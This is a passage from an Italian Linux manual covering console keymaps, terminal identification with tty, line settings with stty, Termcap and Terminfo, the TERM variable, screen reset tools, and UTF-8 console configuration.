shift           control         keycode  81 = Hex_3
#
                                keycode  82 = KP_0
shift                           keycode  82 = zero
                control         keycode  82 = Ascii_0
                        alt     keycode  82 = Ascii_0
shift           control         keycode  82 = Hex_0
#
                                keycode  83 = KP_Period
shift                           keycode  83 = period
        altgr   control         keycode  83 = Boot
                control alt     keycode  83 = Boot
#
                                keycode  84 = Last_Console
```

```
#
                                keycode  85 =
#
                                keycode  86 = less
shift                           keycode  86 = greater
        altgr                   keycode  86 = guillemotleft
shift   altgr                   keycode  86 = guillemotright
                        alt     keycode  86 = Meta_less
shift                   alt     keycode  86 = Meta_greater
#
                                keycode  87 = F11
shift                           keycode  87 = F21
                control         keycode  87 = F11
                control alt     keycode  87 = Console_11
                        alt     keycode  87 = Console_11
shift                   alt     keycode  87 = Console_21
shift           control alt     keycode  87 = Console_21
#
                                keycode  88 = F12
shift                           keycode  88 = F22
                control         keycode  88 = F12
                control alt     keycode  88 = Console_12
                        alt     keycode  88 = Console_12
shift                   alt     keycode  88 = Console_22
shift           control alt     keycode  88 = Console_22
#
                                keycode  89 =
                                keycode  90 =
                                keycode  91 =
                                keycode  92 =
                                keycode  93 =
                                keycode  94 =
                                keycode  95 =
                                keycode  96 = KP_Enter
                                keycode  97 = Control
#
                                keycode  98 = KP_Divide
shift                           keycode  98 = slash
                        alt     keycode  98 = Meta_slash
#
                                keycode  99 = Control_backslash
                control         keycode  99 = Control_backslash
                        alt     keycode  99 = Control_backslash
#
                                keycode 100 = AltGr
                                keycode 101 = Break
                                keycode 102 = Find      # Home
                                keycode 103 = Up
#
                                keycode 104 = Prior
shift                           keycode 104 = Scroll_Backward
#
                                keycode 105 = Left
```

```
                        alt     keycode 105 = Decr_Console
#
                                keycode 106 = Right
                        alt     keycode 106 = Incr_Console
#
                                keycode 107 = Select    # End
                        alt     keycode 107 = Last_Console
#
                                keycode 108 = Down
#
                                keycode 109 = Next
shift                           keycode 109 = Scroll_Forward
#
                                keycode 110 = Insert
#
                                keycode 111 = Remove
        altgr   control         keycode 111 = Boot
                control alt     keycode 111 = Boot
#
                                keycode 112 =
                                keycode 113 =
                                keycode 114 =
                                keycode 115 =
                                keycode 116 = VoidSymbol # [Power]
                                keycode 117 =
                                keycode 118 =
                                keycode 119 =
                                keycode 120 =
                                keycode 121 =
                                keycode 122 =
                                keycode 123 =
                                keycode 124 =
                                keycode 125 = VoidSymbol # Left Win
                                keycode 126 = VoidSymbol # Right Win
                                keycode 127 = Compose # Menu
#
string  F1    = "\033[[A"
string  F2    = "\033[[B"
string  F3    = "\033[[C"
string  F4    = "\033[[D"
string  F5    = "\033[[E"
string  F6    = "\033[17~"
string  F7    = "\033[18~"
string  F8    = "\033[19~"
string  F9    = "\033[20~"
string F10    = "\033[21~"
string F11    = "\033[23~"
string F12    = "\033[24~"
string F13    = "\033[25~"
string F14    = "\033[26~"
string F15    = "\033[28~"
string F16    = "\033[29~"
string F17    = "\033[31~"
```

```
string F18    = "\033[32~"
string F19    = "\033[33~"
string F20    = "\033[34~"
string F21    = "\033[35~"
string F22    = "\033[36~"
string F23    = "\033[37~"
string F24    = "\033[38~"
string Find   = "\033[1~"
string Insert = "\033[2~"
string Remove = "\033[3~"
string Select = "\033[4~"
string Prior  = "\033[5~"
string Next   = "\033[6~"
```

15.6 Identificazione del terminali

Il terminale, in qualunque forma esso sia (console, terminale remoto, applicazione a finestra all'interno di X) è il mezzo normale di comunicazione tra l'utente e il sistema. Senza di esso non ci sarebbe alcuna possibilità di avviare nuovi processi e, di conseguenza, nemmeno di poter compiere alcuna attività.

Per questo, l'attivazione di un programma per la gestione del terminale è l'ultima fase di una procedura di inizializzazione del sistema e precede immediatamente l'attivazione della procedura di accesso (il *login*), cioè il sistema di riconoscimento dell'utente che si accinge a utilizzare il sistema operativo. I programmi Getty che sono i responsabili dell'attivazione del terminale prima dell'inizio della procedura di accesso, sono introdotti nella sezione 15.15.

È importante poter identificare il terminale da cui si accede, almeno in base al tipo di dispositivo utilizzato. In pratica, si dispone del programma '**tty**'[6] che è in grado di restituire il nome del file di dispositivo corrispondente. Con questa informazione si possono creare degli script opportuni, eventualmente per filtrare l'accesso da parte degli utenti.

tty [***opzioni***]

Il programma '**tty**' emette attraverso lo standard output il nome del terminale con cui si è connessi.

Tabella 15.64. Alcune opzioni.

Opzione	Descrizione

`-s`
`--silent`
`--quiet`
	Non emette alcuna segnalazione, si limita a restituire un valore.

L'esempio seguente mostra in che modo potrebbe essere utile '**tty**'. Se l'utente sta utilizzando la prima console virtuale ('`/dev/tty1`'), viene respinto; altrimenti viene eseguito il comando

‘**ls**’.

```
#!/bin/sh
if [ `tty` = "/dev/tty1" || `tty` = "/dev/vc/1" ]
then
    echo "spiacente, non puoi usare questo terminale"
else
    ls
fi
```

15.7 Configurazione del terminale

Le caratteristiche dei terminali a caratteri possono essere molto diverse e questo è il problema principale che si pone di fronte alla ricerca verso una standardizzazione nel comportamento dei programmi per i sistemi Unix.

Si distinguono due problemi di ordine diverso: la configurazione del I/O (input-output), ovvero dei flussi di dati tra il terminale (TTY) e il sistema, e la configurazione particolare dello schermo. La configurazione dei flussi di dati regola il modo in cui i dati possono essere inseriti attraverso la tastiera e come questo inserimento può essere controllato sullo schermo durante la sua digitazione (eco); la configurazione dello schermo riguarda il modo di rappresentare simboli determinati e di comportarsi di fronte a sequenze di escape determinate.

Figura 15.66. Schema banale della connessione di un terminale a caratteri.

Il tipo di connessione utilizzata (si pensi alla differenza che c’è tra una console legata strettamente con il sistema, rispetto a un terminale seriale o remoto), implica problemi differenti di gestione della linea TTY. L’utilizzatore normale non ha mai bisogno di preoccuparsi di questo, in quanto per ogni situazione c’è già un’impostazione predefinita che dovrebbe soddisfare le esigenze di tutti. Inoltre, nelle connessioni remote, il problema di questa configurazione si sposta sui programmi che si utilizzano per tali scopi; sono poi questi programmi a definire la configurazione della linea e dei flussi di dati elementari.

All’utente è data la possibilità di verificare questa configurazione e di modificarla, attraverso il programma ‘**stty**’ (*Set tty*).

La fase successiva è la definizione delle particolarità degli schermi dei terminali, per ciò che riguarda le sequenze di escape che questi riconoscono, attraverso una sorta di base di dati, in modo da permettere ai programmi di potervisi adattare.

15.7.1 Linea TTY

Prima di descrivere l'utilizzo sommario di '**stty**', conviene prendere confidenza con il problema, attraverso un po' di esercizio.

$ **cat > /dev/null** [*Invio*]

Avviando il programma '**cat**' in questo modo, si può analizzare ciò che succede quando si inserisce qualcosa attraverso la tastiera del proprio terminale.

asdfghjkl [*Invio*]

qwertyuiop [*Invio*]

Digitando lettere normali, queste appaiono semplicemente sullo schermo. L'eco dell'input, non è una cosa scontata; deriva da una configurazione, anche se questa è generalmente predefinita.

[*Ctrl p*][*Ctrl l*][*Esc*][*F1*][*F2*][*Invio*]

```
^P^L^[^[[[A^[[[B
```

Generalmente, i caratteri di controllo che non hanno significati speciali, vengono visualizzati (eco) come lettere maiuscole (o brevi stringhe) precedute da un accento circonflesso, come mostra l'esempio. Si tratta di una caratteristica configurabile, anche se normalmente è già impostata in questo modo.

Ad alcuni caratteri di controllo viene attribuito un significato speciale, il quale si traduce in un comportamento e non nell'eco di un qualche simbolo.

asdf ghjk lqwe rtyu iop [*Ctrl ?*][*Ctrl ?*][*Ctrl ?*][*Ctrl w*][*Invio*]

```
asdf ghjk lqwe
```

La combinazione [*Ctrl ?*] genera normalmente il carattere speciale <*^?*>, il quale di solito è abbinato alla funzione '**erase**', la quale a sua volta si traduce nella cancellazione dell'ultimo carattere inserito. La combinazione [*Ctrl w*] genera normalmente il carattere speciale <*^W*>, il quale di solito è abbinato alla funzione '**werase**', la quale a sua volta si traduce nella cancellazione dell'ultima parola inserita.

Ad altri caratteri di controllo viene abbinato l'invio di un segnale al processo collegato alla linea di terminale. Ecco che così, di solito, la combinazione [*Ctrl c*] genera il carattere speciale <*^C*>, con il quale viene inviato un segnale '**SIGINT**' al processo collegato. Nello stesso modo, la combinazione [*Ctrl z*] genera il carattere speciale <*^Z*>, con il quale viene inviato un segnale '**SIGTSTP**' al processo collegato (cosa che generalmente si traduce nell'essere messo sullo sfondo dalla shell).

Per concludere questo esercizio, basta utilizzare la combinazione [*Ctrl c*], per terminare il funzionamento di '**cat**'.

[*Ctrl c*]

Un'altra cosa interessante è la possibilità di bloccare il flusso dell'output sullo schermo e di riprenderlo successivamente. Per questo si usano normalmente le combinazioni di tasti [*Ctrl s*] e [*Ctrl q*], le quali generano rispettivamente i codici <*^S*> e <*^Q*>.

Per verificarne il funzionamento, basta provare a lanciare un comando che emette un output molto lungo, come il seguente:

$ **`find / -print`** [*Invio*]

Per sospendere il flusso visualizzato sullo schermo del terminale, basta premere [*Ctrl s*]; per farlo riprendere, [*Ctrl q*].

15.7.2 Utilizzo di «stty»

Il programma '**`stty`**'[7] permette di modificare le caratteristiche della connessione del terminale al sistema. Se viene avviato senza argomenti, visualizza le informazioni salienti della connessione. Gli argomenti della configurazione sono delle parole chiave che possono apparire precedute o meno dal trattino che di solito si usa per le opzioni: se non si usa il trattino, la parola chiave viene intesa come attivazione di qualcosa, con il trattino si intende la disattivazione della stessa cosa.

`stty` [***opzioni*** | ***configurazione***]

Il motivo più comune per servirsi di questo programma è quello di conoscere le combinazioni di tasti che si possono utilizzare per generare dei segnali particolari.

Sia chiaro che i «caratteri» del tipo <*^?*>, <*^W*>, <*^C*>, <*^Z*>,... si ottengono attraverso «combinazioni virtuali»; pertanto, occorre accertarsi che la configurazione della tastiera corrisponda effettivamente, oppure occorre sapere in che modo vanno generati questi simboli nell'ambito del proprio contesto. Negli esempi che si vedono qui si suppone che il tasto [*Ctrl*] corrisponda esattamente alle funzioni del modificatore virtuale '**`Control`**'.

Avviando '**`stty`**' con l'opzione '**`-a`**' si ottiene la configurazione corrente.

$ **`stty -a`** [*Invio*]

Per esempio, si potrebbe ottenere qualcosa di simile al listato seguente:

```
speed 38400 baud; rows 25; columns 80; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; ↩
↪eol = <undef>; eol2 = <undef>; start = ^Q; ↩
↪stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; ↩
↪lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr ↩
↪-igncr icrnl ixon ixoff -iuclc -ixany -imaxbel
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon -iexten echo echoe echok -echonl -noflsh ↩
↪-xcase -tostop -echoprt -echoctl echoke
```

L'esempio indica in particolare che il carattere '**`intr`**' (*interrupt*) viene generato con la combinazione [*Ctrl c*]; il carattere '**`quit`**' viene generato con la combinazione [*Ctrl *]; il codice di

EOF (*End of file*) viene generato con la combinazione [*Ctrl d*]; il carattere '**susp**' (*suspend*) viene generato con la combinazione [*Ctrl z*].

Per comprendere meglio il senso di questo programma, vale la pena di descrivere l'uso di alcune opzioni, anche se nella maggior parte dei casi, '**stty**' non viene usato per queste cose (tabella 15.70).

Tabella 15.70. Alcune opzioni.

Opzione	Descrizione
cs8	Definisce la dimensione dei caratteri a 8 bit.
hupcl -hupcl	Attiva o disattiva l'invio di un segnale di aggancio ('**SIGHUP**') in corrispondenza della conclusione dell'attività dell'ultimo processo, cosa che chiude la connessione con il terminale.
crtscts -crtscts	Attiva o disattiva il controllo di flusso RTS/CTS. Evidentemente, questo tipo di controllo di flusso riguarda i terminali connessi attraverso la porta seriale.
brkint -brkint	Attiva o disattiva l'invio di un segnale di interruzione ('**SIGINT**') in corrispondenza dell'invio di un carattere *break*.
istrip -istrip	Attiva o disattiva l'azzeramento dell'ottavo bit dell'input.
ixon -ixon	Abilita o disabilita il controllo di flusso XON/XOFF. Dalla sua abilitazione dipende il funzionamento di caratteri speciali riferiti ai comandi di '**stop**' e '**start**' (di solito [*Ctrl s*] e [*Ctrl q*]).
isig -isig	Abilita o disabilita l'uso di caratteri speciali, corrispondenti ai comandi '**intr**' (*interrupt*), '**quit**' e '**susp**' (*suspend*), i quali di solito corrispondono a [*Ctrl c*], [*Ctrl *] e [*Ctrl z*].
icanon -icanon	Abilita o disabilita l'uso di caratteri speciali, corrispondenti ai comandi '**erase**', '**kill**', '**werase**' e '**rprnt**', i quali di solito corrispondono a [*Ctrl ?*], [*Ctrl u*], [*Ctrl w*] e [*Ctrl r*].
echo -echo	Abilita l'eco dei caratteri inseriti. Senza l'attivazione di questa modalità, non sarebbe visibile l'input dalla tastiera.
echoctl -echoctl ctlecho -ctlecho	Attiva o disattiva l'eco dei caratteri di controllo attraverso la notazione '**^*x***', dove ***x*** è una lettera che varia a seconda del carattere di controllo da visualizzare.

Opzione	Descrizione
sane	Questa opzione è una scorciatoia per definirne una serie numerosa, allo stato predefinito ritenuto corretto generalmente. In pratica implica quanto segue: '**cread -ignbrk brkint -inlcr -igncr icrnl -ixoff -iuclc -ixany imaxbel opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke**'; inoltre imposta i caratteri speciali al loro valore predefinito.

I caratteri speciali abbinati a funzionalità particolari in modo predefinito, possono variare da un sistema all'altro. Per modificare l'attribuzione di un carattere speciale a una certa funzione, si utilizza la sintassi seguente:

stty ***nome_funzione*** ***carattere_speciale***

Se al posto del simbolo del carattere speciale si utilizza la stringa '**^-**', oppure la parola chiave '**undef**', quella funzionalità viene disabilitata.

Segue l'elenco di alcune parole chiave utilizzate per definire funzionalità a cui si possono attribuire caratteri speciali.

Tabella 15.71. Alcuni caratteri speciali.

Nome	Descrizione
intr	Invia un segnale di interruzione ('**SIGINT**'). Normalmente è abbinato al carattere speciale <*^C*>, ovvero alla combinazione di tasti [*Ctrl c*].
quit	Invia un segnale di conclusione ('**SIGQUIT**'). Normalmente è abbinato al carattere speciale <*^*>, ovvero alla combinazione di tasti [*Ctrl *].
erase	Cancella l'ultimo carattere digitato.
kill	Cancella la riga corrente.
eof	Fine del file, ovvero termina l'input. Normalmente è abbinato al carattere speciale <*^D*>, ovvero alla combinazione di tasti [*Ctrl d*].
stop	Ferma l'output. Normalmente è abbinato al carattere speciale <*^S*>, ovvero alla combinazione di tasti [*Ctrl s*].
start	Riprende l'output dopo uno stop. Normalmente è abbinato al carattere speciale <*^Q*>, ovvero alla combinazione di tasti [*Ctrl q*].
susp	Invia un segnale di stop del terminale ('**SIGTSTP**'), cosa che generalmente fa sì che la shell metta il processo sullo sfondo. Normalmente è abbinato al carattere speciale <*^Z*>, ovvero alla combinazione di tasti [*Ctrl z*].

Per maggiori dettagli sul funzionamento di questo programma, si veda *info stty* oppure *stty(1)*.

15.7.3 Termcap e Terminfo

Il primo tipo di terminale, la telescrivente, non poneva problemi particolari di configurazione: la tastiera permetteva di inserire numeri, simboli e caratteri dell'alfabeto inglese, a volte senza poter distinguere tra maiuscole e minuscole, mentre la stampante emetteva un flusso di testo normale, interrotto da un codice di interruzione di riga.

Quando il terminale attuale viene usato ancora in questo modo, non si pongono problemi di configurazione, perché non è importante sapere le dimensioni (in caratteri) dello schermo e non importa sapere come spostare il cursore sullo schermo.

Nel momento in cui si utilizza un programma che sfrutta lo schermo nel modo al quale si è abituati di solito, mostrando bordi, colori, caselline da riempire, si ha la necessità di usare la tastiera anche per spostare il cursore, cancellare, inserire, attivare funzioni speciali. Quindi, lo schermo deve essere in grado di fare di più che visualizzare semplicemente un flusso di caratteri, deve interpretare delle sequenze particolari come la richiesta di utilizzare un colore determinato, di disegnare un bordo, ecc.

Così, la tastiera non serve solo per scrivere lettere, numeri, punteggiatura e terminare le righe con un ritorno a carrello. Adesso occorre utilizzare anche i tasti che spostano il cursore, occorre assegnare funzionalità particolari a tasti che permettono la modifica del testo e a tasti funzionali programmabili.

Riquadro 15.72. Livelli di astrazione nella funzione della tastiera.

Quando si utilizza la tastiera, ciò che si ha di fronte è un dispositivo fisico. La configurazione della tastiera serve a dichiarare in che modo sono abbinati i tasti reali alle funzioni di una tastiera virtuale, con la quale, tra le altre cose, si devono generare delle «combinazioni virtuali» del tipo *<Control_...>*, *<Meta_...>*,...
Dopo avere risolto questo problema, esiste un livello di astrazione successivo: la tastiera virtuale diventa parte del terminale, che, secondo le proprie caratteristiche, può comunicare in modo diverso con i programmi. Da qui nasce la necessità di disporre della configurazione per ogni tipo di terminale da utilizzare.
Inoltre, il terminale in questione, va visto dal punto di vista dell'applicazione finale con cui si intende interagire: se questa viene eseguita localmente, senza intermediazioni di alcun genere, si tratta della console; se invece per comunicare con un'applicazione ci si avvale di un altro programma (per esempio perché si accede da un elaboratore remoto, oppure perché si accede all'elaboratore locale, ma attraverso l'intermediazione di un sistema grafico), occorre vedere in che modo questo programma ulteriore si presenta nei confronti dell'applicazione finale.

Nella storia dell'informatica sono esistiti una quantità enorme di tipi diversi di terminali, intesi come complesso tastiera+schermo, ognuno con piccole differenze rispetto agli altri. Per fare in modo che i programmi che richiedono funzionalità superiori a quelle di una normale telescrivente possano adattarsi ai vari tipi di terminale, viene utilizzato un sistema di configurazione predefinito contenente tutte le informazioni necessarie.

Di questo sistema di configurazione ne esistono due tipi: Termcap e Terminfo. Il primo è il più antico ed è ormai superato, ma viene mantenuto per motivi storici e probabilmente per assicurare la compatibilità con i programmi più vecchi.

Il sistema Termcap è formato soltanto da un file di testo collocato nella directory '`/usr/share/misc/`' ('`/usr/share/misc/termcap`') e il suo contenuto assomiglia vagamente a quello del file '`/etc/printcap`' (il file di definizione delle stampanti).

Il sistema Terminfo è invece qualcosa di più complesso. È costituito da tanti file, uno per ogni tipo di terminale, distribuiti su varie directory. Il punto di partenza di questa struttura dovrebbe essere la directory '`/usr/share/terminfo/`'.

A partire da '`terminfo/`' si diramano delle directory il cui nome è composto da un solo carattere, corrispondente all'iniziale dei nomi di terminale che contengono. Il listato seguente, mostra solo un estratto minimo di questa struttura.

```
terminfo
|-- 1
|-- 2
|-- 3
…
|-- a
|   `-- ansi
|-- b
|-- c
…
|-- l
|   `-- linux
…
|-- v
|   |-- vt100
|   `-- vt220
…
|-- x
|   `-- xterm
…
```

Se la definizione di un tipo di terminale può essere adatta a diversi nomi, si utilizzano normalmente dei collegamenti simbolici.

I file di definizione del sistema Terminfo sono il risultato di una compilazione attraverso il programma '**`tic`**', [8] come nell'esempio seguente:

`#` **`tic prova`** [*Invio*]

In questo modo, si va a compilare il file '`prova`', generando presumibilmente il file '`/usr/share/terminfo/p/prova`'.

Si ottiene facilmente un elenco dei tipi di terminale previsti con il programma '**`toe`**':[9]

`$` **`toe -a`** [*Invio*]

```
ansi            ansi/pc-term compatible with color
dumb            80-column dumb tty
linux           linux console
linux+utf8      linux console in utf-8 mode
rxvt            rxvt terminal emulator (X Window System)
rxvt-basic      monochrome rxvt terminal emulator (X Window System)
screen          VT 100/ANSI X3.64 virtual terminal
screen-w        VT 100/ANSI X3.64 virtual terminal with 132 cols
```

```
sun             Sun Microsystems Inc. workstation console
screen-s        VT 100/ANSI X3.64 virtual terminal with hardstatus line
screen-bce      VT 100/ANSI X3.64 virtual terminal with bce
vt100           dec vt100 (w/advanced video)
vt102           dec vt102
vt220           dec vt220
vt52            dec vt52
xterm           X11 terminal emulator
xterm-debian    Debian xterm (VT220-conformant backspace)
xterm-xfree86   xterm terminal emulator (XFree86)
xterm-r5        xterm R5 version
xterm-r6        xterm X11R6 version
xterm-vt220     XFree86 xterm emulating vt220
xterm-color     generic "ANSI" color xterm (X Window System)
xterm-mono      monochrome xterm
pcansi          ibm-pc terminal programs claiming to be ansi
cons25          freebsd console (25-line ansi mode)
mach            Mach Console
mach-bold       Mach Console with bold instead of underline
mach-color      Mach Console with ANSI color
```

La directory '`/usr/share/terminfo/`' è il punto di partenza predefinito per il sistema Terminfo, ma questo può essere alterato utilizzando la variabile di ambiente ***TERMINFO***, per indicare una directory differente. Volendo è possibile personalizzare il sistema Terminfo creando una struttura analoga a partire da '`~/.terminfo/`', cioè dalla directory '`.terminfo/`' nella propria directory personale.

15.7.4 Variabile di ambiente «TERM»

La variabile di ambiente ***TERM*** è il mezzo per definire il tipo di terminale che si utilizza. Normalmente viene impostata automaticamente nel modo più opportuno, con il nome di terminale la cui configurazione deve essere letta da Termcap o da Terminfo.

Quando è impostata in modo errato, si possono presentare due situazioni: il nome del terminale non è previsto, oppure il terminale che si utilizza effettivamente non è compatibile con la definizione contenuta in questa variabile. Nel primo caso, quando si avvia un programma che richiede l'utilizzo di tutto lo schermo, viene segnalato l'errore e, a seconda dei casi, il programma si avvia ugualmente facendo riferimento a un terminale elementare, oppure si rifiuta semplicemente di funzionare.

```
Unknown terminal: pippo
Check the TERM environment variable.
Also make sure that the terminal is defined in the terminfo database.
```

Se il programma si avvia con una configurazione inappropriata al terminale che si utilizza, questo mostra generalmente un comportamento insolito, per diversi aspetti. Per esempio si possono notare simboli strani sullo schermo, la tastiera potrebbe non rispondere nel modo consueto, lo schermo potrebbe essere ridisegnato solo parzialmente.

15.7.5 Adattabilità di un programma e abilità dell'utilizzatore

A questo punto dovrebbe essere chiaro che la tastiera e lo schermo funzionano in maniera differente a seconda di tante condizioni, sia legate alle caratteristiche fisiche, sia relative alle caratteristiche dei programmi attraverso i quali si comunica con le applicazioni finali. Per esempio, il fatto che su una tastiera sia presente il tasto [*Canc*], non vuol dire necessariamente che poi questo dia i risultati che ci si aspetta: la sua pressione potrebbe non avere alcun effetto, oppure generare qualunque altro risultato diverso dal previsto.

Dipende dal nome indicato nel sistema di configurazione dei terminali se questo è in grado di gestire il segnale generato dal tasto [*Canc*] della propria tastiera e se il significato che a questo viene attribuito corrisponde alle aspettative.

Volendo fare un esempio più concreto e anche piuttosto comune, si può provare a confrontare il funzionamento del programma '**mc**' (Midnight Commander), utilizzando la definizione di un terminale differente dal solito, per esempio '**ansi-mono**'.

$ **TERM=ansi-mono** [*Invio*]

$ **export TERM** [*Invio*]

Si osserva, prima di tutto, che mancano i colori, che alcune bordature non sono corrette, che i tasti funzionali non danno più l'effetto desiderato.[10]

Alle volte ci si trova veramente davanti a terminali che non possono offrire più di tanto, magari perché si sta operando attraverso una connessione remota con un programma che è in grado di emulare solo alcuni vecchi tipi di terminale. Allora entrano in gioco due elementi: le alternative offerte dal programma, per cui una stessa cosa può essere ottenuta in modi differenti, per poter essere utilizzato anche in presenza di terminali con poche potenzialità; l'abilità dell'utente di adattarsi alle diverse situazioni.

L'esempio tipico di questo genere di programmi è dato dalle interpretazioni recenti di VI. Quasi tutti questi programmi sono in grado di gestire i tasti freccia, [*Ins*] e [*Canc*]. Ma quando questi non sono disponibili, si può ritornare all'uso tradizionale con i comandi '**h**', '**j**', '**k**' e '**l**', per spostare il cursore, '**i**' e '**x**' per iniziare l'inserimento e per cancellare.

Ciò significa che, quando si studia un nuovo programma, non si devono disdegnare i comandi apparentemente antiquati, perché sono quelli che poi permettono di «tirarsi fuori dai guai».

15.7.6 Ripulitura dello schermo

Esistono due situazioni in cui si può avere la necessità di ripulire lo schermo: quando si scrive uno script con cui si vuole ripulire tutto per mostrare un messaggio all'inizio dello schermo, oppure quando lo schermo sembra impazzito.

Per questo si utilizzano due programmi: '**clear**' e '**reset**'. Questi, in realtà, si avvalgono di un terzo che ha funzioni più generali: '**tput**'. [11]

```
clear
```

Il programma '**clear**' chiama '**tput**' con l'argomento '**clear**', allo scopo di ripulire lo schermo e ricominciare dalla prima posizione in alto dello schermo.

```
reset
```

Il programma '**`reset`**' chiama '**`tput`**' con una serie di argomenti volti a reinizializzare il terminale. È particolarmente utile l'uso di questo programma quando sullo schermo non appaiono più delle lettere normali. In tal caso, si può scrivere '**`reset`**' e premere [*Invio*] alla cieca. Di solito funziona.

Se si vuole sperimentare questa situazione, basta fare un '**`cat`**' di un file binario, per esempio un programma qualunque, per non potere più leggere quello che si scrive.

In ogni caso, questi programmi, avvalendosi di '**`tput`**', funzionano solo in base a quanto conosciuto per mezzo di Terminfo o Termcap. Se la variabile ***TERM*** non contiene il nome corretto, oppure se questo non è presente nel sistema di configurazione dei terminali, a nulla serve un '**`reset`**'.

Si vedano le pagine di manuale: *tput(1)*, *clear(1)* e *reset(1)*.

Riquadro 15.76. Sequenze di controllo per una console VGA di un sistema GNU/Linux.

Comando	Descrizione
`printf '\033[?2c'`	Definisce un cursore intermittente basso (normale).
`printf '\033[?6c'`	Definisce un cursore intermittente a blocco.

15.7.7 Definizione degli attributi del terminale con «setterm»

Il sistema Terminfo permette di conoscere le stringhe (i comandi) corrispondenti a determinate azioni per il terminale che si utilizza. Attraverso il programma '**`setterm`**' si può impostare in qualche modo il proprio terminale utilizzando implicitamente tali comandi. La documentazione di '**`setterm`**', *setterm(1)*, è stringatissima e quindi insufficiente a comprendere bene tutte le possibilità che si avrebbero a disposizione. Tuttavia si tratta di un tipo di intervento sulla gestione del terminale di importanza marginale; quindi non vale la pena di preoccuparsene tanto.

```
setterm opzione
```

Anche se si può utilizzare una sola opzione per volta, quelle disponibili sono molte, ma qui ne vengono descritte solo alcune, tanto da mostrare il senso di questo programma di servizio.

Tabella 15.77. Alcune opzioni.

Opzione	Descrizione
`-repeat [on|off]`	Attiva o disattiva la ripetizione automatica del tasto premuto a lungo. Se non viene specificato l'argomento, si intende attivare l'opzione implicitamente.
`-foreground {black|blue|green|cyan|red|magenta|yellow|white|default}`	Permette di modificare il colore di primo piano.

Opzione	Descrizione
`-background {black|blue|green|cyan|red|magenta|yellow|white|default}`	Permette di modificare il colore dello sfondo.
`-inversescreen [on|off]`	Attiva o disattiva l'inversione dei colori dello schermo. Se non viene specificato l'argomento, si intende attivare l'opzione implicitamente.
`-clear`	Ripulisce lo schermo.
`-reset`	Reinizializza lo schermo.

15.8 Approfondimento: codifica UTF-8

La codifica UTF-8 è quella usata universalmente dai sistemi Unix attuali, inclusi i sistemi GNU/Linux; pertanto, è normale attendersi che ogni distribuzione GNU/Linux sia già predisposta correttamente per funzionare in questo modo. Tuttavia, l'attivazione della codifica UTF-8 per una console GNU/Linux comporterebbe qualche complicazione che si vuole affrontare in queste sezioni; inoltre non va trascurato il fatto che rimangono programmi che non si adattano bene a funzionare con una codifica UTF-8.

15.8.1 Caratteri per la console

Per poter visualizzare i simboli dell'insieme di caratteri universale, occorre disporre di questi, indicando al sistema un file che ne contiene le informazioni. Si tratta di file contenuti nella directory '`/usr/share/consolefonts/`' e quelli più adatti per la visualizzazione simultanea degli alfabeti comuni corrispondono al modello '`LatArCyrHeb-`***nn***`.psf`'. In pratica si tratta di un insieme di caratteri che consente la visualizzazione di testi in alfabeto latino, arabo, cirillico ed ebraico. Si carica uno di questi file nel modo seguente:

`#` **`consolechars -f /usr/share/consolefonts/LatArCyrHeb-16.psf`** [*Invio*]

Successivamente, la visualizzazione corretta sullo schermo della console richiede anche l'invio di un codice particolare, con l'aiuto del comando '**`printf`**':

`#` **`printf '\033%G'`** [*Invio*]

In alternativa, si può indirizzare precisamente al file di dispositivo della console virtuale che deve essere impostata. L'esempio seguente si riferisce a '`/dev/tty1`', ovvero quella che dovrebbe essere la prima console virtuale:

`#` **`printf '\033%G' > /dev/tty1`** [*Invio*]

Si osservi che non sempre le cose funzionano bene. Quando si vogliono caricare insiemi di caratteri del calibro di '`LatArCyrHeb-`***nn***`.psf`', si potrebbe osservare che il testo colorato appare con caratteri errati; per cercare di ovviare a questo inconveniente, si può tentare di caricare prima un insieme comune, quale è quello contenuto nel file '`lat1u-16.psf`'. Praticamente, l'esempio già mostrato andrebbe adattato così:

`#` **`consolechars -f /usr/share/consolefonts/lat1u-16.psf`** [*Invio*]

consolechars -f /usr/share/consolefonts/LatArCyrHeb-16.psf [*Invio*]

printf '\033%G' [*Invio*]

Riquadro 15.78. Terminale UTF-8 per la console.

In passato, per i sistemi GNU/Linux era necessario predisporre la configurazione di un tipo di terminale adatto per la console in modalità UTF-8, compilando il sorgente seguente:

```
#       linux-utf8
#       linux console in utf-8 mode
linux+utf8|linux console in utf-8 mode,
        acs_chars=a\261f\370g\361h\260j\331k\277l\332m\300n\305q\304t↵
↪\303u\264v\301w\302x\263z\372}\375-\1360\333p\304r\304{\343}\234,
        enter_alt_charset_mode=\E%@\E[11m,
        enter_pc_charset_mode=\E%@\E[11m,
        exit_alt_charset_mode=\E[10m\E%G,
        exit_attribute_mode=\E[0;10m\E%G,
        exit_pc_charset_mode=\E[10m\E%G,
        set_attributes=\E[0;10%?%p1%t;7%;%?%p2%t;4%;%?%p3%t;7%;%?%p4%t;↵
↪5%;%?%p5%t;2%;%?%p6%t;37;42;1%;%?%p7%t;32;42%;%?%p9%t;m\E%%@\E[11%;m,
        use=linux,
```

Il listato che si vede è il sorgente, tratto da *Step by step introduction to switching your debian installation to utf-8 encoding*, di Radovan Garabík, con due righe spezzate per motivi tipografici. Supponendo che questo file si chiami '`linux+utf8`', lo si compila facilmente con '**`tic`**' nel modo seguente:

tic linux+utf8 [*Invio*]

Si ottiene il file '`/usr/share/terminfo/l/linux+utf8`'. Per utilizzare questo tipo di definizione del terminale, basta intervenire nella variabile di ambiente ***TERM***:

$ **TERM=linux+utf8** [*Invio*]

$ **export TERM** [*Invio*]

15.8.2 Mappa della tastiera

Per poter scrivere utilizzando la codifica UTF-8, la mappa della tastiera deve essere stata caricata usando '**`loadkeys`**' con l'opzione '**`-u`**', ovvero '**`--unicode`**'. È possibile adattare la mappa corrente con l'aiuto di '**`dumpkeys`**', nel modo seguente:

dumpkeys | loadkeys --unicode [*Invio*]

In ogni caso, occorre modificare anche la modalità di funzionamento attraverso '**`kbd_mode`**':

kbd_mode -u [*Invio*]

